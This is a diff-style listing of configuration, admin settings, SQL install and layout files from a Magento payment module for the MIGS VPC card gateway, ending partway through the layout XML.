* @copyright Copyright (c) 2010 ND MigsVpc
|
21 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
22 |
+
*/
|
23 |
+
-->
|
24 |
+
<config>
|
25 |
+
<modules>
|
26 |
+
<ND_MigsVpc>
|
27 |
+
<version>0.0.1</version>
|
28 |
+
</ND_MigsVpc>
|
29 |
+
</modules>
|
30 |
+
<global>
|
31 |
+
<models>
|
32 |
+
<migsvpc>
|
33 |
+
<class>ND_MigsVpc_Model</class>
|
34 |
+
</migsvpc>
|
35 |
+
</models>
|
36 |
+
<helpers>
|
37 |
+
<migsvpc>
|
38 |
+
<class>ND_MigsVpc_Helper</class>
|
39 |
+
</migsvpc>
|
40 |
+
</helpers>
|
41 |
+
<resources>
|
42 |
+
<migsvpc_setup>
|
43 |
+
<setup>
|
44 |
+
<module>ND_MigsVpc</module>
|
45 |
+
</setup>
|
46 |
+
<connection>
|
47 |
+
<use>core_setup</use>
|
48 |
+
</connection>
|
49 |
+
</migsvpc_setup>
|
50 |
+
<migsvpc_write>
|
51 |
+
<connection>
|
52 |
+
<use>core_write</use>
|
53 |
+
</connection>
|
54 |
+
</migsvpc_write>
|
55 |
+
<migsvpc_read>
|
56 |
+
<connection>
|
57 |
+
<use>core_read</use>
|
58 |
+
</connection>
|
59 |
+
</migsvpc_read>
|
60 |
+
</resources>
|
61 |
+
<blocks>
|
62 |
+
<migsvpc><class>ND_MigsVpc_Block</class></migsvpc>
|
63 |
+
</blocks>
|
64 |
+
</global>
|
65 |
+
<frontend>
|
66 |
+
<secure_url>
|
67 |
+
<migsvpc_server>/migsvpc/server</migsvpc_server>
|
68 |
+
</secure_url>
|
69 |
+
<secure_url>
|
70 |
+
<migsvpc_merchantnew>/migsvpc/merchantnew</migsvpc_merchantnew>
|
71 |
+
</secure_url>
|
72 |
+
<routers>
|
73 |
+
<migsvpc>
|
74 |
+
<use>standard</use>
|
75 |
+
<args>
|
76 |
+
<module>ND_MigsVpc</module>
|
77 |
+
<frontName>migsvpc</frontName>
|
78 |
+
</args>
|
79 |
+
</migsvpc>
|
80 |
+
</routers>
|
81 |
+
<translate>
|
82 |
+
<modules>
|
83 |
+
<ND_MigsVpc>
|
84 |
+
<files>
|
85 |
+
<default>ND_MigsVpc.csv</default>
|
86 |
+
</files>
|
87 |
+
</ND_MigsVpc>
|
88 |
+
</modules>
|
89 |
+
</translate>
|
90 |
+
<layout>
|
91 |
+
<updates>
|
92 |
+
<migsvpc>
|
93 |
+
<file>migsvpc.xml</file>
|
94 |
+
</migsvpc>
|
95 |
+
</updates>
|
96 |
+
</layout>
|
97 |
+
</frontend>
|
98 |
+
<adminhtml>
|
99 |
+
<translate>
|
100 |
+
<modules>
|
101 |
+
<ND_MigsVpc>
|
102 |
+
<files>
|
103 |
+
<default>ND_MigsVpc.csv</default>
|
104 |
+
</files>
|
105 |
+
</ND_MigsVpc>
|
106 |
+
</modules>
|
107 |
+
</translate>
|
108 |
+
</adminhtml>
|
109 |
+
<default>
|
110 |
+
<payment>
|
111 |
+
<migsvpc_server>
|
112 |
+
<merchant_id backend_model="adminhtml/system_config_backend_encrypted"/>
|
113 |
+
<model>migsvpc/server</model>
|
114 |
+
<title>MigsVpc Server</title>
|
115 |
+
<order_status>processing</order_status>
|
116 |
+
<allowspecific>0</allowspecific>
|
117 |
+
</migsvpc_server>
|
118 |
+
<migsvpc_merchant>
|
119 |
+
<merchant_id backend_model="adminhtml/system_config_backend_encrypted"/>
|
120 |
+
<model>migsvpc/merchant</model>
|
121 |
+
<title>MigsVpc 3D-Secure</title>
|
122 |
+
<order_status>processing</order_status>
|
123 |
+
<allowspecific>0</allowspecific>
|
124 |
+
</migsvpc_merchant>
|
125 |
+
<migsvpc_merchantnew>
|
126 |
+
<merchant_id backend_model="adminhtml/system_config_backend_encrypted"/>
|
127 |
+
<model>migsvpc/merchantnew</model>
|
128 |
+
<title>MigsVpc 3D-Secure</title>
|
129 |
+
<order_status>processing</order_status>
|
130 |
+
<allowspecific>0</allowspecific>
|
131 |
+
</migsvpc_merchantnew>
|
132 |
+
</payment>
|
133 |
+
</default>
|
134 |
+
</config>
|
app/code/local/ND/MigsVpc/etc/system.xml
ADDED
@@ -0,0 +1,404 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?xml version="1.0"?>
|
2 |
+
<!--
|
3 |
+
/**
|
4 |
+
* ND MigsVpc payment gateway
|
5 |
+
*
|
6 |
+
* NOTICE OF LICENSE
|
7 |
+
*
|
8 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
9 |
+
* that is bundled with this package in the file LICENSE.txt.
|
10 |
+
* It is also available through the world-wide-web at this URL:
|
11 |
+
* http://opensource.org/licenses/osl-3.0.php
|
12 |
+
* If you did not receive a copy of the license and are unable to
|
13 |
+
* obtain it through the world-wide-web, please send an email
|
14 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
15 |
+
*
|
16 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
17 |
+
*
|
18 |
+
* @category ND
|
19 |
+
* @package ND_MigsVpc
|
20 |
+
* @copyright Copyright (c) 2010 ND MigsVpc
|
21 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
22 |
+
*/
|
23 |
+
-->
|
24 |
+
<config>
|
25 |
+
<sections>
|
26 |
+
<payment>
|
27 |
+
<groups>
|
28 |
+
<migsvpc_server translate="label" module="payment">
|
29 |
+
<label>MIGS VPC Server Hosted</label>
|
30 |
+
<frontend_type>text</frontend_type>
|
31 |
+
<sort_order>301</sort_order>
|
32 |
+
<show_in_default>1</show_in_default>
|
33 |
+
<show_in_website>1</show_in_website>
|
34 |
+
<show_in_store>0</show_in_store>
|
35 |
+
<fields>
|
36 |
+
<active translate="label">
|
37 |
+
<label>Enabled</label>
|
38 |
+
<frontend_type>select</frontend_type>
|
39 |
+
<source_model>adminhtml/system_config_source_yesno</source_model>
|
40 |
+
<sort_order>10</sort_order>
|
41 |
+
<show_in_default>1</show_in_default>
|
42 |
+
<show_in_website>1</show_in_website>
|
43 |
+
<show_in_store>0</show_in_store>
|
44 |
+
</active>
|
45 |
+
<title translate="label">
|
46 |
+
<label>Title</label>
|
47 |
+
<frontend_type>text</frontend_type>
|
48 |
+
<sort_order>20</sort_order>
|
49 |
+
<show_in_default>1</show_in_default>
|
50 |
+
<show_in_website>1</show_in_website>
|
51 |
+
<show_in_store>0</show_in_store>
|
52 |
+
</title>
|
53 |
+
<merchant_id translate="label">
|
54 |
+
<label>Merchant ID</label>
|
55 |
+
<frontend_type>text</frontend_type>
|
56 |
+
<backend_model>adminhtml/system_config_backend_encrypted</backend_model>
|
57 |
+
<sort_order>30</sort_order>
|
58 |
+
<show_in_default>1</show_in_default>
|
59 |
+
<show_in_website>1</show_in_website>
|
60 |
+
<show_in_store>0</show_in_store>
|
61 |
+
</merchant_id>
|
62 |
+
<access_code translate="label">
|
63 |
+
<label>Access Code (Live)</label>
|
64 |
+
<frontend_type>text</frontend_type>
|
65 |
+
<sort_order>40</sort_order>
|
66 |
+
<show_in_default>1</show_in_default>
|
67 |
+
<show_in_website>1</show_in_website>
|
68 |
+
<show_in_store>0</show_in_store>
|
69 |
+
</access_code>
|
70 |
+
<access_code_test translate="label">
|
71 |
+
<label>Access Code (Test)</label>
|
72 |
+
<frontend_type>text</frontend_type>
|
73 |
+
<sort_order>50</sort_order>
|
74 |
+
<show_in_default>1</show_in_default>
|
75 |
+
<show_in_website>1</show_in_website>
|
76 |
+
<show_in_store>0</show_in_store>
|
77 |
+
</access_code_test>
|
78 |
+
<secure_hash_secret translate="label">
|
79 |
+
<label>Secure Hash Secret (Live)</label>
|
80 |
+
<frontend_type>text</frontend_type>
|
81 |
+
<sort_order>60</sort_order>
|
82 |
+
<show_in_default>1</show_in_default>
|
83 |
+
<show_in_website>1</show_in_website>
|
84 |
+
<show_in_store>0</show_in_store>
|
85 |
+
</secure_hash_secret>
|
86 |
+
<secure_hash_secret_test translate="label">
|
87 |
+
<label>Secure Hash Secret (Test)</label>
|
88 |
+
<frontend_type>text</frontend_type>
|
89 |
+
<sort_order>70</sort_order>
|
90 |
+
<show_in_default>1</show_in_default>
|
91 |
+
<show_in_website>1</show_in_website>
|
92 |
+
<show_in_store>0</show_in_store>
|
93 |
+
</secure_hash_secret_test>
|
94 |
+
<api_url translate="label">
|
95 |
+
<label>API Gateway URL</label>
|
96 |
+
<frontend_type>text</frontend_type>
|
97 |
+
<sort_order>80</sort_order>
|
98 |
+
<show_in_default>1</show_in_default>
|
99 |
+
<show_in_website>1</show_in_website>
|
100 |
+
<show_in_store>0</show_in_store>
|
101 |
+
</api_url>
|
102 |
+
<test_gateway translate="label">
|
103 |
+
<label>Use test gateway</label>
|
104 |
+
<frontend_type>select</frontend_type>
|
105 |
+
<source_model>adminhtml/system_config_source_yesno</source_model>
|
106 |
+
<sort_order>90</sort_order>
|
107 |
+
<show_in_default>1</show_in_default>
|
108 |
+
<show_in_website>1</show_in_website>
|
109 |
+
<show_in_store>0</show_in_store>
|
110 |
+
</test_gateway>
|
111 |
+
<order_status translate="label">
|
112 |
+
<label>New order status</label>
|
113 |
+
<frontend_type>select</frontend_type>
|
114 |
+
<source_model>adminhtml/system_config_source_order_status_processing</source_model>
|
115 |
+
<sort_order>100</sort_order>
|
116 |
+
<show_in_default>1</show_in_default>
|
117 |
+
<show_in_website>1</show_in_website>
|
118 |
+
<show_in_store>0</show_in_store>
|
119 |
+
</order_status>
|
120 |
+
<allowspecific translate="label">
|
121 |
+
<label>Payment from applicable countries</label>
|
122 |
+
<frontend_type>allowspecific</frontend_type>
|
123 |
+
<sort_order>110</sort_order>
|
124 |
+
<source_model>adminhtml/system_config_source_payment_allspecificcountries</source_model>
|
125 |
+
<show_in_default>1</show_in_default>
|
126 |
+
<show_in_website>1</show_in_website>
|
127 |
+
<show_in_store>1</show_in_store>
|
128 |
+
</allowspecific>
|
129 |
+
<specificcountry translate="label">
|
130 |
+
<label>Payment from Specific countries</label>
|
131 |
+
<frontend_type>multiselect</frontend_type>
|
132 |
+
<sort_order>120</sort_order>
|
133 |
+
<source_model>adminhtml/system_config_source_country</source_model>
|
134 |
+
<show_in_default>1</show_in_default>
|
135 |
+
<show_in_website>1</show_in_website>
|
136 |
+
<show_in_store>1</show_in_store>
|
137 |
+
</specificcountry>
|
138 |
+
</fields>
|
139 |
+
</migsvpc_server>
|
140 |
+
<migsvpc_merchant translate="label">
|
141 |
+
<label>MIGS VPC Merchant Hosted</label>
|
142 |
+
<frontend_type>text</frontend_type>
|
143 |
+
<sort_order>301</sort_order>
|
144 |
+
<show_in_default>1</show_in_default>
|
145 |
+
<show_in_website>1</show_in_website>
|
146 |
+
<show_in_store>0</show_in_store>
|
147 |
+
<fields>
|
148 |
+
<active translate="label">
|
149 |
+
<label>Enabled</label>
|
150 |
+
<frontend_type>select</frontend_type>
|
151 |
+
<source_model>adminhtml/system_config_source_yesno</source_model>
|
152 |
+
<sort_order>10</sort_order>
|
153 |
+
<show_in_default>1</show_in_default>
|
154 |
+
<show_in_website>1</show_in_website>
|
155 |
+
<show_in_store>0</show_in_store>
|
156 |
+
</active>
|
157 |
+
<title translate="label">
|
158 |
+
<label>Title</label>
|
159 |
+
<frontend_type>text</frontend_type>
|
160 |
+
<sort_order>20</sort_order>
|
161 |
+
<show_in_default>1</show_in_default>
|
162 |
+
<show_in_website>1</show_in_website>
|
163 |
+
<show_in_store>0</show_in_store>
|
164 |
+
</title>
|
165 |
+
<merchant_id translate="label">
|
166 |
+
<label>Merchant ID</label>
|
167 |
+
<frontend_type>text</frontend_type>
|
168 |
+
<backend_model>adminhtml/system_config_backend_encrypted</backend_model>
|
169 |
+
<sort_order>30</sort_order>
|
170 |
+
<show_in_default>1</show_in_default>
|
171 |
+
<show_in_website>1</show_in_website>
|
172 |
+
<show_in_store>0</show_in_store>
|
173 |
+
</merchant_id>
|
174 |
+
<access_code translate="label">
|
175 |
+
<label>Access Code (Live)</label>
|
176 |
+
<frontend_type>text</frontend_type>
|
177 |
+
<sort_order>40</sort_order>
|
178 |
+
<show_in_default>1</show_in_default>
|
179 |
+
<show_in_website>1</show_in_website>
|
180 |
+
<show_in_store>0</show_in_store>
|
181 |
+
</access_code>
|
182 |
+
<access_code_test translate="label">
|
183 |
+
<label>Access Code (Test)</label>
|
184 |
+
<frontend_type>text</frontend_type>
|
185 |
+
<sort_order>50</sort_order>
|
186 |
+
<show_in_default>1</show_in_default>
|
187 |
+
<show_in_website>1</show_in_website>
|
188 |
+
<show_in_store>0</show_in_store>
|
189 |
+
</access_code_test>
|
190 |
+
<secure_hash_secret translate="label">
|
191 |
+
<label>Secure Hash Secret (Live)</label>
|
192 |
+
<frontend_type>text</frontend_type>
|
193 |
+
<sort_order>60</sort_order>
|
194 |
+
<show_in_default>1</show_in_default>
|
195 |
+
<show_in_website>1</show_in_website>
|
196 |
+
<show_in_store>0</show_in_store>
|
197 |
+
</secure_hash_secret>
|
198 |
+
<secure_hash_secret_test translate="label">
|
199 |
+
<label>Secure Hash Secret (Test)</label>
|
200 |
+
<frontend_type>text</frontend_type>
|
201 |
+
<sort_order>70</sort_order>
|
202 |
+
<show_in_default>1</show_in_default>
|
203 |
+
<show_in_website>1</show_in_website>
|
204 |
+
<show_in_store>0</show_in_store>
|
205 |
+
</secure_hash_secret_test>
|
206 |
+
<payment_action translate="label">
|
207 |
+
<label>Payment Action</label>
|
208 |
+
<frontend_type>select</frontend_type>
|
209 |
+
<source_model>migsvpc/source_paymentAction</source_model>
|
210 |
+
<sort_order>80</sort_order>
|
211 |
+
<show_in_default>1</show_in_default>
|
212 |
+
<show_in_website>1</show_in_website>
|
213 |
+
<show_in_store>0</show_in_store>
|
214 |
+
</payment_action>
|
215 |
+
<api_url translate="label">
|
216 |
+
<label>API Gateway URL</label>
|
217 |
+
<frontend_type>text</frontend_type>
|
218 |
+
<sort_order>90</sort_order>
|
219 |
+
<show_in_default>1</show_in_default>
|
220 |
+
<show_in_website>1</show_in_website>
|
221 |
+
<show_in_store>0</show_in_store>
|
222 |
+
</api_url>
|
223 |
+
<test_gateway translate="label">
|
224 |
+
<label>Use test gateway</label>
|
225 |
+
<frontend_type>select</frontend_type>
|
226 |
+
<source_model>adminhtml/system_config_source_yesno</source_model>
|
227 |
+
<sort_order>100</sort_order>
|
228 |
+
<show_in_default>1</show_in_default>
|
229 |
+
<show_in_website>1</show_in_website>
|
230 |
+
<show_in_store>0</show_in_store>
|
231 |
+
</test_gateway>
|
232 |
+
<order_status translate="label">
|
233 |
+
<label>New order status</label>
|
234 |
+
<frontend_type>select</frontend_type>
|
235 |
+
<source_model>adminhtml/system_config_source_order_status_processing</source_model>
|
236 |
+
<sort_order>110</sort_order>
|
237 |
+
<show_in_default>1</show_in_default>
|
238 |
+
<show_in_website>1</show_in_website>
|
239 |
+
<show_in_store>0</show_in_store>
|
240 |
+
</order_status>
|
241 |
+
<cctypes translate="label">
|
242 |
+
<label>Credit Card Types</label>
|
243 |
+
<frontend_type>multiselect</frontend_type>
|
244 |
+
<source_model>migsvpc/source_cctype</source_model>
|
245 |
+
<sort_order>120</sort_order>
|
246 |
+
<show_in_default>1</show_in_default>
|
247 |
+
<show_in_website>1</show_in_website>
|
248 |
+
<show_in_store>0</show_in_store>
|
249 |
+
</cctypes>
|
250 |
+
<allowspecific translate="label">
|
251 |
+
<label>Payment from applicable countries</label>
|
252 |
+
<frontend_type>allowspecific</frontend_type>
|
253 |
+
<sort_order>130</sort_order>
|
254 |
+
<source_model>adminhtml/system_config_source_payment_allspecificcountries</source_model>
|
255 |
+
<show_in_default>1</show_in_default>
|
256 |
+
<show_in_website>1</show_in_website>
|
257 |
+
<show_in_store>1</show_in_store>
|
258 |
+
</allowspecific>
|
259 |
+
<specificcountry translate="label">
|
260 |
+
<label>Payment from Specific countries</label>
|
261 |
+
<frontend_type>multiselect</frontend_type>
|
262 |
+
<sort_order>140</sort_order>
|
263 |
+
<source_model>adminhtml/system_config_source_country</source_model>
|
264 |
+
<show_in_default>1</show_in_default>
|
265 |
+
<show_in_website>1</show_in_website>
|
266 |
+
<show_in_store>1</show_in_store>
|
267 |
+
</specificcountry>
|
268 |
+
</fields>
|
269 |
+
</migsvpc_merchant>
|
270 |
+
<migsvpc_merchantnew translate="label" module="payment">
|
271 |
+
<label>MIGS VPC Merchant Hosted (Creditmax)</label>
|
272 |
+
<frontend_type>text</frontend_type>
|
273 |
+
<sort_order>302</sort_order>
|
274 |
+
<show_in_default>1</show_in_default>
|
275 |
+
<show_in_website>1</show_in_website>
|
276 |
+
<show_in_store>0</show_in_store>
|
277 |
+
<fields>
|
278 |
+
<active translate="label">
|
279 |
+
<label>Enabled</label>
|
280 |
+
<frontend_type>select</frontend_type>
|
281 |
+
<source_model>adminhtml/system_config_source_yesno</source_model>
|
282 |
+
<sort_order>10</sort_order>
|
283 |
+
<show_in_default>1</show_in_default>
|
284 |
+
<show_in_website>1</show_in_website>
|
285 |
+
<show_in_store>0</show_in_store>
|
286 |
+
</active>
|
287 |
+
<migsvpccctypes translate="label">
|
288 |
+
<label>Credit Card Types</label>
|
289 |
+
<frontend_type>multiselect</frontend_type>
|
290 |
+
<source_model>adminhtml/system_config_source_payment_cctype</source_model>
|
291 |
+
<sort_order>4</sort_order>
|
292 |
+
<show_in_default>1</show_in_default>
|
293 |
+
<show_in_website>1</show_in_website>
|
294 |
+
<show_in_store>0</show_in_store>
|
295 |
+
<can_be_empty>1</can_be_empty>
|
296 |
+
</migsvpccctypes>
|
297 |
+
<title translate="label">
|
298 |
+
<label>Title</label>
|
299 |
+
<frontend_type>text</frontend_type>
|
300 |
+
<sort_order>20</sort_order>
|
301 |
+
<show_in_default>1</show_in_default>
|
302 |
+
<show_in_website>1</show_in_website>
|
303 |
+
<show_in_store>0</show_in_store>
|
304 |
+
</title>
|
305 |
+
<merchant_id translate="label">
|
306 |
+
<label>Merchant ID</label>
|
307 |
+
<frontend_type>text</frontend_type>
|
308 |
+
<backend_model>adminhtml/system_config_backend_encrypted</backend_model>
|
309 |
+
<sort_order>30</sort_order>
|
310 |
+
<show_in_default>1</show_in_default>
|
311 |
+
<show_in_website>1</show_in_website>
|
312 |
+
<show_in_store>0</show_in_store>
|
313 |
+
</merchant_id>
|
314 |
+
<access_code translate="label">
|
315 |
+
<label>Access Code (Live)</label>
|
316 |
+
<frontend_type>text</frontend_type>
|
317 |
+
<sort_order>40</sort_order>
|
318 |
+
<show_in_default>1</show_in_default>
|
319 |
+
<show_in_website>1</show_in_website>
|
320 |
+
<show_in_store>0</show_in_store>
|
321 |
+
</access_code>
|
322 |
+
<access_code_test translate="label">
|
323 |
+
<label>Access Code (Test)</label>
|
324 |
+
<frontend_type>text</frontend_type>
|
325 |
+
<sort_order>50</sort_order>
|
326 |
+
<show_in_default>1</show_in_default>
|
327 |
+
<show_in_website>1</show_in_website>
|
328 |
+
<show_in_store>0</show_in_store>
|
329 |
+
</access_code_test>
|
330 |
+
<secure_hash_secret translate="label">
|
331 |
+
<label>Secure Hash Secret (Live)</label>
|
332 |
+
<frontend_type>text</frontend_type>
|
333 |
+
<sort_order>60</sort_order>
|
334 |
+
<show_in_default>1</show_in_default>
|
335 |
+
<show_in_website>1</show_in_website>
|
336 |
+
<show_in_store>0</show_in_store>
|
337 |
+
</secure_hash_secret>
|
338 |
+
<secure_hash_secret_test translate="label">
|
339 |
+
<label>Secure Hash Secret (Test)</label>
|
340 |
+
<frontend_type>text</frontend_type>
|
341 |
+
<sort_order>70</sort_order>
|
342 |
+
<show_in_default>1</show_in_default>
|
343 |
+
<show_in_website>1</show_in_website>
|
344 |
+
<show_in_store>0</show_in_store>
|
345 |
+
</secure_hash_secret_test>
|
346 |
+
<api_url translate="label">
|
347 |
+
<label>API Gateway URL</label>
|
348 |
+
<frontend_type>text</frontend_type>
|
349 |
+
<sort_order>80</sort_order>
|
350 |
+
<show_in_default>1</show_in_default>
|
351 |
+
<show_in_website>1</show_in_website>
|
352 |
+
<show_in_store>0</show_in_store>
|
353 |
+
</api_url>
|
354 |
+
<payment_type translate="label">
|
355 |
+
<label>Payment Type</label>
|
356 |
+
<frontend_type>select</frontend_type>
|
357 |
+
<source_model>migsvpc/source_paymentType</source_model>
|
358 |
+
<sort_order>85</sort_order>
|
359 |
+
<show_in_default>1</show_in_default>
|
360 |
+
<show_in_website>1</show_in_website>
|
361 |
+
<show_in_store>0</show_in_store>
|
362 |
+
</payment_type>
|
363 |
+
<test_gateway translate="label">
|
364 |
+
<label>Use test gateway</label>
|
365 |
+
<frontend_type>select</frontend_type>
|
366 |
+
<source_model>adminhtml/system_config_source_yesno</source_model>
|
367 |
+
<sort_order>90</sort_order>
|
368 |
+
<show_in_default>1</show_in_default>
|
369 |
+
<show_in_website>1</show_in_website>
|
370 |
+
<show_in_store>0</show_in_store>
|
371 |
+
</test_gateway>
|
372 |
+
<order_status translate="label">
|
373 |
+
<label>New order status</label>
|
374 |
+
<frontend_type>select</frontend_type>
|
375 |
+
<source_model>adminhtml/system_config_source_order_status_processing</source_model>
|
376 |
+
<sort_order>100</sort_order>
|
377 |
+
<show_in_default>1</show_in_default>
|
378 |
+
<show_in_website>1</show_in_website>
|
379 |
+
<show_in_store>0</show_in_store>
|
380 |
+
</order_status>
|
381 |
+
<allowspecific translate="label">
|
382 |
+
<label>Payment from applicable countries</label>
|
383 |
+
<frontend_type>allowspecific</frontend_type>
|
384 |
+
<sort_order>110</sort_order>
|
385 |
+
<source_model>adminhtml/system_config_source_payment_allspecificcountries</source_model>
|
386 |
+
<show_in_default>1</show_in_default>
|
387 |
+
<show_in_website>1</show_in_website>
|
388 |
+
<show_in_store>1</show_in_store>
|
389 |
+
</allowspecific>
|
390 |
+
<specificcountry translate="label">
|
391 |
+
<label>Payment from Specific countries</label>
|
392 |
+
<frontend_type>multiselect</frontend_type>
|
393 |
+
<sort_order>120</sort_order>
|
394 |
+
<source_model>adminhtml/system_config_source_country</source_model>
|
395 |
+
<show_in_default>1</show_in_default>
|
396 |
+
<show_in_website>1</show_in_website>
|
397 |
+
<show_in_store>1</show_in_store>
|
398 |
+
</specificcountry>
|
399 |
+
</fields>
|
400 |
+
</migsvpc_merchantnew>
|
401 |
+
</groups>
|
402 |
+
</payment>
|
403 |
+
</sections>
|
404 |
+
</config>
|
app/code/local/ND/MigsVpc/sql/migsvpc_setup/mysql4-install-0.1.0.php
ADDED
@@ -0,0 +1,41 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category ND
|
18 |
+
* @package ND_MigsVpc
|
19 |
+
* @copyright Copyright (c) 2010 ND MigsVpc
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
|
23 |
+
$installer = $this;
|
24 |
+
|
25 |
+
$installer->startSetup();
|
26 |
+
|
27 |
+
$installer->run("
|
28 |
+
|
29 |
+
-- DROP TABLE IF EXISTS `{$this->getTable('migsvpc/api_debug')}`;
|
30 |
+
CREATE TABLE `{$this->getTable('migsvpc/api_debug')}` (
|
31 |
+
`debug_id` int(10) unsigned NOT NULL auto_increment,
|
32 |
+
`debug_at` timestamp NOT NULL default CURRENT_TIMESTAMP on update CURRENT_TIMESTAMP,
|
33 |
+
`request_body` text,
|
34 |
+
`response_body` text,
|
35 |
+
PRIMARY KEY (`debug_id`),
|
36 |
+
KEY `debug_at` (`debug_at`)
|
37 |
+
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
|
38 |
+
|
39 |
+
");
|
40 |
+
|
41 |
+
$installer->endSetup();
|
app/design/frontend/default/default/layout/migsvpc.xml
ADDED
@@ -0,0 +1,59 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?xml version="1.0"?>
|
2 |
+
<!--
|
3 |
+
/**
|
4 |
+
* ND Extension
|
5 |
+
*
|
6 |
+
* NOTICE OF LICENSE
|
7 |
+
*
|
8 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
9 |
+
* that is bundled with this package in the file LICENSE.txt.
|
10 |
+
* It is also available through the world-wide-web at this URL:
|
11 |
+
* http://opensource.org/licenses/osl-3.0.php
|
12 |
+
* If you did not receive a copy of the license and are unable to
|
13 |
+
* obtain it through the world-wide-web, please send an email
|
14 |
+
* to license@magentocommerce.com so we can send you a copy immediately.
|
15 |
+
*
|
16 |
+
* @category ND
|
17 |
+
* @package ND_MigsVpc
|
18 |
+
* @author Chris Norton
|
19 |
+
* @copyright Copyright (c) 2008 ND MigsVpc
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
-->
|
23 |
+
<layout version="0.1.0">
|
24 |
+
<migsvpc_server_failure>
|
25 |
+
<reference name="root">
|
26 |
+
<action method="setTemplate"><template>page/2columns-right.phtml</template></action>
|
27 |
+
</reference>
|
28 |
+
<reference name="content">
|
29 |
+
<block type="migsvpc/server_failure" name="migsvpc_server_failure" template="migsvpc/server/failure.phtml"></block>
|
30 |
+
</reference>
|
31 |
+
</migsvpc_server_failure>
|
